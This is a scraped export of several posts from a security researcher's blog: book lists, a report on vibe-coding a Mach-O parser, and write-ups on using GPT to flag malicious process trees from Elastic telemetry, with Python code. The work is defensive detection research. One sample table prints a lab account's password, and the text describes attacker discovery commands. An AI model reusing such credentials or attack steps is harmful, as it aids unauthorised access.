[{"content":" Ghosts of Honolulu: A Japanese Spy, A Japanese American Spy Hunter, and the Untold Story of Pearl Harbor Cadillac Desert: The American West and Its Disappearing Water, Revised Edition The Unit: My Life Fighting Terrorists as One of America\u0026rsquo;s Most Secret Military Operatives Character Limit: How Elon Musk Destroyed Twitter Fat Leonard: How One Man Bribed, Bilked, and Seduced the U.S. Navy China After Mao Year of Living Constitutionally Cobalt Red: How the Blood of the Congo Powers Our Lives Ghost Wars American Soldier Careless People: A Cautionary Tale of Power, Greed, and Lost Idealism American Buffalo: In Search of a Lost Icon Lawrence in Arabia: War, Deceit, Imperial Folly and the Making of the Modern Middle East The Wire Someone Who Isn\u0026rsquo;t Me Life After Power: Seven Presidents and Their Search for Purpose Beyond the White House Why I Cook Who Is Government?: The Untold Story of Public Service World on the Brink: How America Can Beat China in the Race for the Twenty-First Century Sellout: The Major-Label Feeding Frenzy That Swept Punk, Emo, and Hardcore (1994–2007) Unrestricted Warfare Shoe Dog: A Memoir by the Creator of Nike White Rural Rage: The Threat to American Democracy Comanches: The History of a People The Wager: A Tale of Shipwreck, Mutiny, and Murder None of This Rocks: A Memoir The Guns of August Down with the System: A Memoir Breakneck: China\u0026rsquo;s Quest to Engineer the Future Odyssey: The Greek Myths Reimagined Stories of Your Life and Others Accidental Presidents: Eight Men Who Changed America Sailing True North: Ten Admirals and the Voyage of Character Right Moves: The Conservative Think Tank in American Political Culture since 1945 ","permalink":"https://www.kimobu.space/posts/Books-of-2025/","summary":"\u003col\u003e\n\u003cli\u003eGhosts of Honolulu: A Japanese Spy, A Japanese American Spy Hunter, and the Untold Story of Pearl Harbor\u003c/li\u003e\n\u003cli\u003eCadillac Desert: The American West and Its Disappearing Water, Revised Edition\u003c/li\u003e\n\u003cli\u003eThe Unit: My Life Fighting Terrorists as One of America\u0026rsquo;s Most Secret Military Operatives\u003c/li\u003e\n\u003cli\u003eCharacter Limit: How Elon Musk Destroyed Twitter\u003c/li\u003e\n\u003cli\u003eFat Leonard: How One Man Bribed, Bilked, and Seduced the U.S. Navy\u003c/li\u003e\n\u003cli\u003eChina After Mao\u003c/li\u003e\n\u003cli\u003eYear of Living Constitutionally\u003c/li\u003e\n\u003cli\u003eCobalt Red: How the Blood of the Congo Powers Our Lives\u003c/li\u003e\n\u003cli\u003eGhost Wars\u003c/li\u003e\n\u003cli\u003eAmerican Soldier\u003c/li\u003e\n\u003cli\u003eCareless People: A Cautionary Tale of Power, Greed, and Lost Idealism\u003c/li\u003e\n\u003cli\u003eAmerican Buffalo: In Search of a Lost Icon\u003c/li\u003e\n\u003cli\u003eLawrence in Arabia: War, Deceit, Imperial Folly and the Making of the Modern Middle East\u003c/li\u003e\n\u003cli\u003eThe Wire\u003c/li\u003e\n\u003cli\u003eSomeone Who Isn\u0026rsquo;t Me\u003c/li\u003e\n\u003cli\u003eLife After Power: Seven Presidents and Their Search for Purpose Beyond the White House\u003c/li\u003e\n\u003cli\u003eWhy I Cook\u003c/li\u003e\n\u003cli\u003eWho Is Government?: The Untold Story of Public Service\u003c/li\u003e\n\u003cli\u003eWorld on the Brink: How America Can Beat China in the Race for the Twenty-First Century\u003c/li\u003e\n\u003cli\u003eSellout: The Major-Label Feeding Frenzy That Swept Punk, Emo, and Hardcore (1994–2007)\u003c/li\u003e\n\u003cli\u003eUnrestricted Warfare\u003c/li\u003e\n\u003cli\u003eShoe Dog: A Memoir by the Creator of Nike\u003c/li\u003e\n\u003cli\u003eWhite Rural Rage: The Threat to American Democracy\u003c/li\u003e\n\u003cli\u003eComanches: The History of a People\u003c/li\u003e\n\u003cli\u003eThe Wager: A Tale of Shipwreck, Mutiny, and Murder\u003c/li\u003e\n\u003cli\u003eNone of This Rocks: A Memoir\u003c/li\u003e\n\u003cli\u003eThe Guns of August\u003c/li\u003e\n\u003cli\u003eDown with the System: A Memoir\u003c/li\u003e\n\u003cli\u003eBreakneck: China\u0026rsquo;s Quest to Engineer the Future\u003c/li\u003e\n\u003cli\u003eOdyssey: The Greek Myths Reimagined\u003c/li\u003e\n\u003cli\u003eStories of Your Life and Others\u003c/li\u003e\n\u003cli\u003eAccidental Presidents: Eight Men Who Changed America\u003c/li\u003e\n\u003cli\u003eSailing True North: Ten Admirals and the Voyage of Character\u003c/li\u003e\n\u003cli\u003eRight Moves: The Conservative Think Tank in American Political Culture since 1945\u003c/li\u003e\n\u003c/ol\u003e","title":"The books I read in 2025"},{"content":"Way back in 2021 when I was working on my dissertation I used a Python library called macholibre to parse Mach-O files. There are several other options for parsing these file types. I\u0026rsquo;m sure they\u0026rsquo;re all great, but it\u0026rsquo;s a lot to go through to find some features I want. Mainly, outputting as JSON to easily load into other applications. This seemed like a good opportunity to try vibe-coding a Swift-based Mach-O parser using ChatGPT. After some trial and error, I\u0026rsquo;ve made MachP available. Let\u0026rsquo;s look at how this went.\nWriting Requirements Since vibe-coding is basically delegating coding tasks like a manager would, I wanted to clearly define requirements for the LLM to use. I had a general idea of what I wanted and enough knowledge of what Mach-O file looks like. To help turn those ideas into specific requirements I turned to OpenAI\u0026rsquo;s Deep Research tool.\nLet’s design a macho file parsing utility. The input will be a file name. The utility should open that file and then parse the macho. Consider that a macho may be a fat binary with multiple architecture machos. We should parse the header, load commands, and all data segments. We should get the size and name of each element. The output should be in json format. One of the use cases for this utility is to parse out features that can be used for machine learning purposes. The utility should be written in swift. For this research, output a set of well defined requirements that will be fed into a reasoning model for implementation\nDeep Research asks some follow-ups to help scope its work. After it performed its searches, it returned the following requirements. I\u0026rsquo;m only including the requirement titles for brevity. For each requirement it provided roughly a paragraph of what should be done. Functional Requirements\nInput Handling Mach-O Format Support Mach-O Header Parsing Load Command Parsing Segment and Section Parsing Metadata Extraction JSON Output Graceful Error Handling Current macOS Focus Non-Functional Requirements Performance Resource Usage Reliability and Stability Maintainability Usability Output Clarity Platform Compatibility Optional Features Raw Data Extraction Mode Recursive Bundle Parsing Verbose Logging/Debug Mode Extensibility for Other Binary Formats Coding With those requirements made, I continued the chat with:\nNext lets get started with setting up the project. I\u0026rsquo;ve created a new project in XCode. What files will we need to create?\nChatGPT listed out - main.swift, MachOParser.swift, HeaderParser.swift, LoadCommandParser.swift, SegmentSectionParser.swift, JSONOutputFormatter.swift, ErrorHandling.swift, Utilities.swift. I ended up cutting out ErrorHandling and Utilities.\nThe ChatGPT desktop app can \u0026ldquo;work with\u0026rdquo; other apps to gain context (read what\u0026rsquo;s currently open in the app) and to output (write to the app). It supports Xcode, so at this point I opened Xcode, created each file the model suggested, and asked it to implement the functionality that I thought should go in each one.\nOnce the initial implementation was made, I started to iteratively test and adjust the functionality. I\u0026rsquo;d build the tool, run it against some test files, then compare to the output to what I expected and against a Yara-X benchmark. I\u0026rsquo;d then ask the model to tweak some functionality, then repeat the testing.\nIn a couple of places I hit some sticky problem areas. In those cases, I\u0026rsquo;d create a new chat so there was fresh context and the model wouldn\u0026rsquo;t be \u0026ldquo;polluted\u0026rdquo; with previous messages. This can be especially helpful if chats grow too long. One area in particular was parsing out code signature information. I ended up pasting the contents of cscdefs.h into chat so the model better understood what data structures were there, asked it to iterate on code to parse the structures, and would compare what the program output to a hex editor to make sure the model\u0026rsquo;s code was reading the write offsets and such. This helped to identify that In the initial implementation, the model\u0026rsquo;s code was reading offsets from the start of the file instead of from the starting offset of individual Mach-Os embedded in a universal binary.\nThere were only a few instances where the model hallucinated information. One example is, when trying to parse the code signature, the model tried using a function SecRequirementCopyStringRepresentation which does not exist. Steering it to the actual function SecRequirementCopyString worked. The model had the right parameters to the function, just the name was wrong.\nAnother tip is to sometimes reduce the information that the model has access to. For example, giving context to the ChatGPT app via \u0026ldquo;work with files\u0026rdquo; is very useful so the model can better understand what is or should be happening. However, sometimes the tool that writes to the file messes up. If you find that the app starts writing to the wrong file or fails to write, try closing editor tabs so it can focus on a specific file.\nCodex Codex proved incredibly useful, because instead of needing to be at the computer interacting with ChatGPT, I could define a few feature requests, kick them off as Codex tasks, and then go AFK to do real work, deal with life, etc. Of the eight Codex tasks requested, I merged seven of them. Most of these required no modifications. The only task I needed to edit code for was from a requirement I gave that showed base64 output when I really wanted plaintext, so I needed to remove the call to base64EncodedString.\nThe Codex PR I did not merge was related to test writing. The model tried to write tests for each module but could not import CryptoKit. Since Codex runs in an Ubuntu container, it doesn\u0026rsquo;t have access to Apple\u0026rsquo;s APIs. Not being a big Swift developer, it took a bit of searching to learn that you can install Swift on macOS, Linux, and Windows, but you need to rely on some re-implementations of APIs if you are not on macOS. In the case of CryptoKit you\u0026rsquo;d use swift-crypto. I converted the MachP code to import Crypto instead of CryptoKit and it functionally still worked, so I thought it\u0026rsquo;d be straightforward to add it to Codex.\nOpenAI lets you modify the environment for Codex, so I tried to add Swift to it via the startup scripts:\ncurl -O \u0026#34;https://download.swift.org/swiftly/linux/swiftly-$(uname -m).tar.gz\u0026#34; \u0026amp;\u0026amp; \\ tar zxf \u0026#34;swiftly-$(uname -m).tar.gz\u0026#34; \u0026amp;\u0026amp; \\ ./swiftly init --assume-yes --quiet-shell-followup \u0026amp;\u0026amp; \\ . ${SWIFTLY_HOME_DIR:-~/.local/share/swiftly}/env.sh \u0026amp;\u0026amp; \\ hash -r This works, however Codex can\u0026rsquo;t use the Internet once the container has started. Because of this, it can\u0026rsquo;t download dependencies like swift-log or swift-crypto. I also don\u0026rsquo;t see a way to install Swift packages outside of a manifest to pre-populate the dependencies during the container initialization. It looks like the people want it but the install-package subcommand does not yet exist :(\n2025-06-03 update: OpenAI announced networking for Codex. This introduces some security risk, but it\u0026rsquo;s now an option for testing Swift packages.\nModel switching Throughout the process I switched models depending on the task. It\u0026rsquo;s a meme at this point that OpenAI\u0026rsquo;s naming convention is terribad, so it seems like it might be useful to discuss when and how I used each model.\nDuring the requirements writing phase, I used 4o, since it\u0026rsquo;s a conversational model and we were having a discussion on what the requirements should be. During coding, I mostly used o3-mini and during some troubleshooting I occasionally used o3-mini-high. These reasoning models were better suited for understanding what the requirement meant and turning that into code. Part way through this project, OpenAI released 4.1 as a model to ChatGPT. Previously this model was only available through the API. The 4.1 model is better at coding and is \u0026ldquo;smarter\u0026rdquo; than 4o, but it isn\u0026rsquo;t as optimized for chat (which is why it\u0026rsquo;s \u0026ldquo;hidden\u0026rdquo; under a dropdown in the model picker). Finally, once Codex was released I used the codex-1 model by proxy.\nSo to summarize:\nUse 4o when \u0026ldquo;talking\u0026rdquo; to a model Use 4.1 when troubleshooting or doing light code touchups Use o3-* when designing and writing larger code sections Use codex-1 when using Codex ","permalink":"https://www.kimobu.space/posts/Vibe-coding-a-Macho-Parser/","summary":"\u003cp\u003eWay back in 2021 when I was working on my \u003ca href=\"https://github.com/kimobu/lhtml\"\u003edissertation\u003c/a\u003e I used a Python library called \u003ca href=\"https://github.com/aaronst/macholibre\"\u003emacholibre\u003c/a\u003e to parse Mach-O files. There are \u003ca href=\"https://github.com/search?q=macho%20parser\u0026amp;type=repositories\"\u003eseveral other options\u003c/a\u003e for parsing these file types. I\u0026rsquo;m sure they\u0026rsquo;re all great, but it\u0026rsquo;s a lot to go through to find some features I want. Mainly, outputting as JSON to easily load into other applications. This seemed like a good opportunity to try \u003ca href=\"https://en.wikipedia.org/wiki/Vibe_coding\"\u003evibe-coding\u003c/a\u003e a Swift-based Mach-O parser using ChatGPT. After some trial and error, I\u0026rsquo;ve made \u003ca href=\"https://github.com/kimobu/machp\"\u003eMachP\u003c/a\u003e available. Let\u0026rsquo;s look at how this went.\u003c/p\u003e","title":"Vibe coding a Mach-o parser"},{"content":"Introduction This is a follow up to A Little Less Malware, applying the same techniques to Linux and Windows data. There are some differences with this experiment. In the last one, we used Apple\u0026rsquo;s ESF to collect telemetry, which gave us process group identifiers to work with. In this experiment, I\u0026rsquo;m using only the Elastic Agent and the process telemetry it provides. Unfortunately, Elastic Agent does not send PGID for Linux, and while Windows notionally supports the concept, in practice it does not exist. First let\u0026rsquo;s look at a couple of ways to group activity without PGIDs.\nGrouping process activity Sibling grouping One method we can use is to group processes that share a common parent. In some cases this will get us a lot of context. Consider the children of rundll32.exe in the following image: Almost each of those processes is an invocation of shell from a Cobalt Strike Beacon. In a case like this, we\u0026rsquo;ll have very good context on what the attacker was doing. There are a few MITRE ATT\u0026amp;CK TTPs we would be able to see from looking at the siblings based on what each cmd.exe does - I have a mix of system discovery, credential access, and persistence. But one of the things we miss is some of the initial access/execution, hinted at by WINWORD.exe.\nGrandparent grouping Another method is to group by the grandparent PID where it exists and fallback to siblings if it doesn\u0026rsquo;t exist. Sometimes the grandparent PID will not be our Elastic query parameters. For example, if the grandparent process was Explorer and the computer has been and logged into for more than 24 hours, we would need to query a longer timespan to have the Explorer.exe execution log.\nIn the image above, this type of grouping will include WINWORD.exe, giving additional context to the LLM when assessing whether the commands are malicious.\nOther groupings I also tried a \u0026ldquo;largest lineage\u0026rdquo; that would use the Elastic Agent process.Ext.ancestry field. In this grouping, I searched all processes on a host to find the oldest ancestry. Then for each of those ancestor entity IDs, I searched back down to gather all their descendants, effectively creating a large number of \u0026ldquo;branches\u0026rdquo; of the process tree. While this method gave a ton of context due to the amount of process data in each grouping, I found it unwieldy in detections because so many cousin processes would get caught in the detection.\nIn this initial test, grandparent grouping performed better.\nAssessing performance Unlike in the last blog, I\u0026rsquo;m not going to root cause each false positive and false negative because the data I used for this experiment is the same data I use for a midterm. I will show the confusion matrices and provide some high level observations. I will also work on \u0026ldquo;anonymizing\u0026rdquo; the data so that it can be shared.\nThe sibling grouping method had a true positive rate of 28% which is not great. A lot of the false negatives come from processes at the end of a chain. Thinking back to the process tree picture above, what\u0026rsquo;s not shown is that the cmd.exe are the parent process of another command, such as systeminfo. If the full sequence of commands looks like the following:\nwinword.exe (PID 1000) └── rundll32.exe (PID 2000) ├── cmd.exe (PID 3000) │ └── systeminfo (PID 4000) └── cmd.exe (PID 3001) └── icacls (PID 4001) In the whole we could recognize a pattern of system discovery, finding a weakly permissions service binary, and then replacing it. Our full command line would look like C:\\windows\\system32\\cmd.exe /c systeminfo. When we have the full command line and we group by sibling, the rundll32.exe grouping will correctly be found malicious. However, because we also group the cmd.exe processes individually, we get a group that has just systeminfo or just icacls, which is not enough for the LLM to correctly assess. The grandparent grouping method had a true positive rate of 42%. While that is significantly better than the sibling grouping, it\u0026rsquo;s still worse than a coin toss.\nOf the seven false negatives, five were on a Linux machine. The first three were assessed as not suspicious because of how I grouped commands. I labeled a whole SSH session as malicious and this mostly worked, except when some grandchildren of the sshd process had their own grandchildren. A more judicious labeling of the individual SSH session commands would have improved the scoring here.\nThe two false negatives from the Windows machine were part of the user simulator. These processes were in the chain of processes that led to Cobalt Strike running. Similar to the Linux processes, they are \u0026ldquo;collateral damage\u0026rdquo; of how I labeled and then grouped processes as malicious.\nThere were also seven false positives, which all came from a Windows machine. I had a scheduled task running every 15 minutes. GPT seemed to have gotten confused on the repetitive nature of these tasks. This accounted for two of the false positives. Four false positives came from Cloudbase-Init scripts. The last false positive was from the user simulator.\nWhile the false negatives are mostly easy to fix (label data more rigorously), the false positives are harder to fix. On the one hand, a detections team could suppress alerts from specific commands - for example, Cloudbase-Init. But on the other hand, it would be nice to not have to take traditional detection engineering approaches when using AI. Another method to overcome this could be with retrieval. Instead of a detection engineer needing to suppress alerts for specific processes, we could feed additional context into the LLM assessment, such as software inventory or configuration management output.\nI have a few things more to try in AI detections and hopefully will find the time to do them soon!\n","permalink":"https://www.kimobu.space/posts/GPT-Detections-on-Windows-and-Linux/","summary":"\u003ch1 id=\"introduction\"\u003eIntroduction\u003c/h1\u003e\n\u003cp\u003eThis is a follow up to \u003ca href=\"/posts/A-Little-Less-Malware-a-Little-More-Context/\"\u003eA Little Less Malware\u003c/a\u003e, applying the same techniques to Linux and Windows data. There are some differences with this experiment. In the last one, we used Apple\u0026rsquo;s ESF to collect telemetry, which gave us process group identifiers to work with. In this experiment, I\u0026rsquo;m using only the Elastic Agent and the process telemetry it provides. Unfortunately, Elastic Agent does not send PGID for Linux, and while Windows notionally \u003ca href=\"https://learn.microsoft.com/en-us/windows/console/console-process-groups\"\u003esupports the concept\u003c/a\u003e, in practice it does not exist. First let\u0026rsquo;s look at a couple of ways to group activity without PGIDs.\u003c/p\u003e","title":"GPT Detections on Windows and Linux"},{"content":" G-Man: J. Edgar Hoover and the Making of the American Century Surf When You Can: Lessons in Life, Loyalty, and Leadership from a Maverick Navy Captain Wilmington\u0026rsquo;s Lie: The Murderous Coup of 1898 and the Rise of White Supremacy Exit Interview: The Life and Death of My Ambitious Career Going Infinite: The Rise and Fall of a New Tycoon Born in Blackness: Africa, Africans, and the Making of the Modern World, 1471 to the Second World War Disillusioned: Five Families and the Unraveling of America\u0026rsquo;s Suburbs The Secret Life of Groceries: The Dark Miracle of the American Supermarket The Warmth of Other Suns: The Epic Story of America\u0026rsquo;s Great Migration Ametora: How Japan Saved American Style Enough The Revolutionary: Samuel Adams Good to Great: Why Some Companies Make the Leap\u0026hellip;And Others Don\u0026rsquo;t Number Go Up: Inside Crypto\u0026rsquo;s Wild Rise and Staggering Fall On the Road Paved Paradise: How Parking Explains the World Fire on the Mountain: The True Story of the South Canyon Fire The Kingdom, the Power, and the Glory: American Evangelicals in an Age of Extremism Into Thin Air: A Personal Account of the Mt. Everest Disaster Burn Book: A Tech Love Story Dark Wire: The Incredible True Story of the Largest Sting Operation Ever 2054: A Novel Three Pianos: A Memoir New Cold Wars: China\u0026rsquo;s Rise, Russia\u0026rsquo;s Invasion, and America\u0026rsquo;s Struggle to Defend the West Chip War: The Fight for the World\u0026rsquo;s Most Critical Technology Midnight in the Garden of Good and Evil Demon Copperhead The CIA: An Imperial History Mill Town Russians Among Us: Sleeper Cells, Ghost Stories, and the Hunt for Putin\u0026rsquo;s Spies We Fed an Island Where Are Your Boys Tonight?: The Oral History of Emo\u0026rsquo;s Mainstream Explosion 1999-2008 Capital and Ideology Survival of the Richest: Escape Fantasies of the Tech Billionaires ","permalink":"https://www.kimobu.space/posts/Books-of-2024/","summary":"\u003col\u003e\n\u003cli\u003eG-Man: J. Edgar Hoover and the Making of the American Century\u003c/li\u003e\n\u003cli\u003eSurf When You Can: Lessons in Life, Loyalty, and Leadership from a Maverick Navy Captain\u003c/li\u003e\n\u003cli\u003eWilmington\u0026rsquo;s Lie: The Murderous Coup of 1898 and the Rise of White Supremacy\u003c/li\u003e\n\u003cli\u003eExit Interview: The Life and Death of My Ambitious Career\u003c/li\u003e\n\u003cli\u003eGoing Infinite: The Rise and Fall of a New Tycoon\u003c/li\u003e\n\u003cli\u003eBorn in Blackness: Africa, Africans, and the Making of the Modern World, 1471 to the Second World War\u003c/li\u003e\n\u003cli\u003eDisillusioned: Five Families and the Unraveling of America\u0026rsquo;s Suburbs\u003c/li\u003e\n\u003cli\u003eThe Secret Life of Groceries: The Dark Miracle of the American Supermarket\u003c/li\u003e\n\u003cli\u003eThe Warmth of Other Suns: The Epic Story of America\u0026rsquo;s Great Migration\u003c/li\u003e\n\u003cli\u003eAmetora: How Japan Saved American Style\u003c/li\u003e\n\u003cli\u003eEnough\u003c/li\u003e\n\u003cli\u003eThe Revolutionary: Samuel Adams\u003c/li\u003e\n\u003cli\u003eGood to Great: Why Some Companies Make the Leap\u0026hellip;And Others Don\u0026rsquo;t\u003c/li\u003e\n\u003cli\u003eNumber Go Up: Inside Crypto\u0026rsquo;s Wild Rise and Staggering Fall\u003c/li\u003e\n\u003cli\u003eOn the Road\u003c/li\u003e\n\u003cli\u003ePaved Paradise: How Parking Explains the World\u003c/li\u003e\n\u003cli\u003eFire on the Mountain: The True Story of the South Canyon Fire\u003c/li\u003e\n\u003cli\u003eThe Kingdom, the Power, and the Glory: American Evangelicals in an Age of Extremism\u003c/li\u003e\n\u003cli\u003eInto Thin Air: A Personal Account of the Mt. Everest Disaster\u003c/li\u003e\n\u003cli\u003eBurn Book: A Tech Love Story\u003c/li\u003e\n\u003cli\u003eDark Wire: The Incredible True Story of the Largest Sting Operation Ever\u003c/li\u003e\n\u003cli\u003e2054: A Novel\u003c/li\u003e\n\u003cli\u003eThree Pianos: A Memoir\u003c/li\u003e\n\u003cli\u003eNew Cold Wars: China\u0026rsquo;s Rise, Russia\u0026rsquo;s Invasion, and America\u0026rsquo;s Struggle to Defend the West\u003c/li\u003e\n\u003cli\u003eChip War: The Fight for the World\u0026rsquo;s Most Critical Technology\u003c/li\u003e\n\u003cli\u003eMidnight in the Garden of Good and Evil\u003c/li\u003e\n\u003cli\u003eDemon Copperhead\u003c/li\u003e\n\u003cli\u003eThe CIA: An Imperial History\u003c/li\u003e\n\u003cli\u003eMill Town\u003c/li\u003e\n\u003cli\u003eRussians Among Us: Sleeper Cells, Ghost Stories, and the Hunt for Putin\u0026rsquo;s Spies\u003c/li\u003e\n\u003cli\u003eWe Fed an Island\u003c/li\u003e\n\u003cli\u003eWhere Are Your Boys Tonight?: The Oral History of Emo\u0026rsquo;s Mainstream Explosion 1999-2008\u003c/li\u003e\n\u003cli\u003eCapital and Ideology\u003c/li\u003e\n\u003cli\u003eSurvival of the Richest: Escape Fantasies of the Tech Billionaires\u003c/li\u003e\n\u003c/ol\u003e","title":"Recap of the books I read in 2024"},{"content":"Introduction A coworker and I gave a talk at Objective by the Sea v7 on using Large Language Models (LLMs) as a behavioral detection. Another speaker, Colson, gave a great talk on why behavioral detections are so useful. LLMs are particularly adept at understanding and processing language-like structures, which include not only traditional text but also command-line arguments. In cybersecurity events, where command-line interactions often reveal attacker behaviors, LLMs can be leveraged to do behavioral detection without needing to be an expert in analyzing malicious actions or writing detections.\nSince OBTS is focused on Mac security, we looked at macOS command line activity. We repurposed some previous work in getting security telemetry. Then we tested a few classes of malicious activity: infostealers, malware loaders, beaconing remote access tools, insider threats, and ransomware. We got very promising results out of every experiment except ransomware.\nI also wanted to learn about Polars, a relatively new alternative to Pandas, so you\u0026rsquo;ll see that used below. You can play along with some demo data using the code in this repo\nWalkthrough In this section, I\u0026rsquo;ll walk through how to replicate the research.\nQuerying Elasticsearch We used Elasticsearch (via Security Onion) for our experiments. We used Python libraries to interact with the Elasticsearch API and to query data. elasticquery.py is a wrapper that makes it a bit easier to query and keeps our notebooks clean.\nfrom elasticquery import ElasticQuery from elasticsearch_dsl import Q import polars as pl import logging import json import ast import asyncio eq = ElasticQuery() Our wrapper takes a few arguments: an elasticsearch-dsl query and start/end dates. Something you might find useful is scheduling these queries and running the detection. For example, you might run this every hour and use AI to highlight any suspicious actions.\nquery = Q(\u0026#39;bool\u0026#39;, must=[ Q(\u0026#39;match\u0026#39;, **{\u0026#39;event.dataset\u0026#39;: \u0026#39;esf\u0026#39;}), Q(\u0026#39;match\u0026#39;, **{\u0026#39;event.action\u0026#39;: \u0026#39;exec\u0026#39;}), ]) df = eq.search(query, start_date=\u0026#34;2024-11-21T23:56:48Z\u0026#34;, end_date=\u0026#34;2024-11-22T12:04:33Z\u0026#34;) To assess performance later on, we mark certain process groups as malicious. This group leader PIDs were noted when we ran the various malicious actions.\nconditions = [ (df[\u0026#39;host.name\u0026#39;] == \u0026#39;scr-office-imac.local\u0026#39;) \u0026amp; (df[\u0026#39;process.group_leader.pid\u0026#39;].is_in([11138, 11181, 12829, 11298, 10957, 12826])), (df[\u0026#39;host.name\u0026#39;] == \u0026#39;scr-it-mac.local\u0026#39;) \u0026amp; (df[\u0026#39;process.group_leader.pid\u0026#39;].is_in([12951, 12520, 12353, 14703, 12658, 12532, 14705])) ] df = df.with_columns( pl.when(conditions[0] | conditions[1]) .then(1) .otherwise(0) .alias(\u0026#34;malicious\u0026#34;) ) df.head() Here\u0026rsquo;s a sample of what the data looks like:\nprocess.parent.name process.parent.pid process.group_leader.pid process.session_leader.pid \u0026hellip; host.os.family host.name user.name malicious /bin/sh 10957 10957 10950 \u0026hellip; darwin scr-office-imac.local michael.scott true /usr/sbin/system_profiler 10961 10962 10950 \u0026hellip; darwin scr-office-imac.local michael.scott false /bin/sh 10957 10957 10950 \u0026hellip; darwin scr-office-imac.local michael.scott true /bin/bash 10957 10957 10950 \u0026hellip; darwin scr-office-imac.local michael.scott true /Volumes/BrewApp/BrewApp 10957 10957 10950 \u0026hellip; darwin scr-office-imac.local michael.scott true One of the main points of our talk was that context really helps GPT to determine if process behavior is unusual. There\u0026rsquo;s a few different ways you could add context about who your users are and what they should be doing.\nIn my threat hunting class, I have user information emitted from Active Directory via Powershell scripts. This lets students get practice in writing queries in OQL, KQL, etc, and in building visualizations and deduplicating information. We used this existing data, so had to query for it:\nquery = Q(\u0026#39;bool\u0026#39;, must=[ Q(\u0026#39;match\u0026#39;, **{\u0026#39;event.code\u0026#39;: \u0026#39;8000\u0026#39;}) ]) user_df = eq.search(query, start_date=\u0026#34;2024-11-21\u0026#34;, end_date=\u0026#34;2024-11-22\u0026#34;) user_df = user_df.unique(subset=[\u0026#34;user.name\u0026#34;]) user_df_filtered = user_df.select([\u0026#34;user.name\u0026#34;, \u0026#34;user.department\u0026#34;, \u0026#34;user.title\u0026#34;]) user_df_filtered.head() And it looks like the below. Note this lab environment is forked from the awesome Game of Active Directory.\nuser.name user.department user.title oscar.martinez Accounting Accountant (Password : Heartsbane) kelly.kapoor Product Oversight Customer Service Representative HealthMailboxaec453b HealthMailbox6d59e00 charles.miner Vice President of Northeast Sales Next we complete enrichment by joining the user department and title to the process information.\nmerged_df = user_df_filtered.join(df, on=\u0026#34;user.name\u0026#34;, how=\u0026#34;inner\u0026#34;) Analyzing with GPT Now that we have a list of processes enriched with user information we can send it to GPT for analysis.\nWhen we interact with the OpenAI API we need two main inputs: a system message and a user message. The system message acts as a top level instruction on what the model should do and how to do it. The system message tends to be the same for every API invocation. The user message asks the model to do something. This will change for every API invocation. We can also set the temperature, which modifies the amount of randomness in responses. We want this to be low, so that new outputs are more tightly tied to the input.\nWe use gpt.py as another wrapper, specifying structured outputs and defining our system message. We structure the user message by sending a markdown formatted table of the parent process name, the parent process PID, the process PID, and the process command line arguments. We then insert information on the user and host that the commands were run from.\nWe\u0026rsquo;ll run a bunch of these requests at once an then return the collected results as a new Dataframe.\nfrom gpt import GPT gpt = GPT() async def process_strings_and_analyze_concurrently(df): async def process_single_group(group_key, group_df): try: # Extract the grouping columns host_name, group_leader_pid = group_key # Collect relevant fields from the group collected_data = group_df.sort(\u0026#34;@timestamp\u0026#34;).select( [\u0026#34;process.pid\u0026#34;, \u0026#34;process.parent.pid\u0026#34;, \u0026#34;process.command_line\u0026#34;, \u0026#34;process.parent.name\u0026#34;] ).to_pandas().to_markdown() user_message = f\u0026#34;\u0026#34;\u0026#34; Beginning of commands for analysis: User name: {group_df[\u0026#34;user.name\u0026#34;].unique()[0]} User department: {group_df[\u0026#34;user.department\u0026#34;].unique()[0]} User title: {group_df[\u0026#34;user.title\u0026#34;].unique()[0]} OS Type: {group_df[\u0026#34;host.os.family\u0026#34;][0]} Hostname: {group_df[\u0026#34;host.name\u0026#34;][0]} Processes: {collected_data} \u0026#34;\u0026#34;\u0026#34; # Check the length of the message max_length = 1048576 # Maximum allowed length for the message if len(user_message) \u0026gt; max_length: print(f\u0026#34;Group {group_key} message exceeds max length. Splitting into smaller chunks.\u0026#34;) # Split the DataFrame into smaller chunks chunk_size = len(group_df) // (len(user_message) // max_length + 1) chunks = [group_df[i:i + chunk_size] for i in range(0, len(group_df), chunk_size)] # Process each chunk separately and combine results chunk_results = [] for chunk in chunks: chunk_data = chunk.sort(\u0026#34;@timestamp\u0026#34;).select( [\u0026#34;process.pid\u0026#34;, \u0026#34;process.parent.pid\u0026#34;, \u0026#34;process.command_line\u0026#34;, \u0026#34;process.parent.name\u0026#34;] ).to_pandas().to_markdown() chunk_message = f\u0026#34;\u0026#34;\u0026#34; Beginning of commands for analysis (chunked): User name: {chunk[\u0026#34;user.name\u0026#34;].unique()[0]} User department: {chunk[\u0026#34;user.department\u0026#34;].unique()[0]} User title: {chunk[\u0026#34;user.title\u0026#34;].unique()[0]} OS Type: {chunk[\u0026#34;host.os.family\u0026#34;][0]} Hostname: {chunk[\u0026#34;host.name\u0026#34;][0]} Processes: {chunk_data} \u0026#34;\u0026#34;\u0026#34; result = await gpt.analyze(chunk_message) chunk_results.append(result) # Combine results from all chunks combined_result = { \u0026#34;analysis\u0026#34;: \u0026#34; \u0026#34;.join(chunk[\u0026#39;analysis\u0026#39;] for chunk in chunk_results), \u0026#34;suspicious_score\u0026#34;: max(chunk[\u0026#39;suspicious_score\u0026#39;] for chunk in chunk_results), } any_suspicious = any(chunk[\u0026#39;verdict\u0026#39;] == \u0026#39;suspicious\u0026#39; for chunk in chunk_results) combined_result[\u0026#39;mitre_tag\u0026#39;] = [] for chunk in chunk_results: mitre_tags = chunk.get(\u0026#39;mitre_tag\u0026#39;, []) if isinstance(mitre_tags, str): mitre_tags = ast.literal_eval(mitre_tags) for tag in mitre_tags: if tag not in combined_result[\u0026#39;mitre_tag\u0026#39;]: combined_result[\u0026#39;mitre_tag\u0026#39;].append(tag) combined_result[\u0026#39;verdict\u0026#39;] = \u0026#39;suspicious\u0026#39; if any_suspicious else \u0026#39;benign\u0026#39; else: # If within allowed length, process normally result = await gpt.analyze(user_message) combined_result = result if isinstance(combined_result[\u0026#39;mitre_tag\u0026#39;], str): combined_result[\u0026#39;mitre_tag\u0026#39;] = ast.literal_eval(combined_result[\u0026#39;mitre_tag\u0026#39;]) # Include grouping keys in the result combined_result[\u0026#39;host.name\u0026#39;] = host_name combined_result[\u0026#39;process.group_leader.pid\u0026#39;] = group_leader_pid return combined_result except Exception as e: print(f\u0026#34;Error processing group {group_key}: {e}\u0026#34;) return { \u0026#34;host.name\u0026#34;: host_name, \u0026#34;process.group_leader.pid\u0026#34;: group_leader_pid, \u0026#34;error\u0026#34;: str(e), } # Group by `host.name` and `process.group_leader.pid` 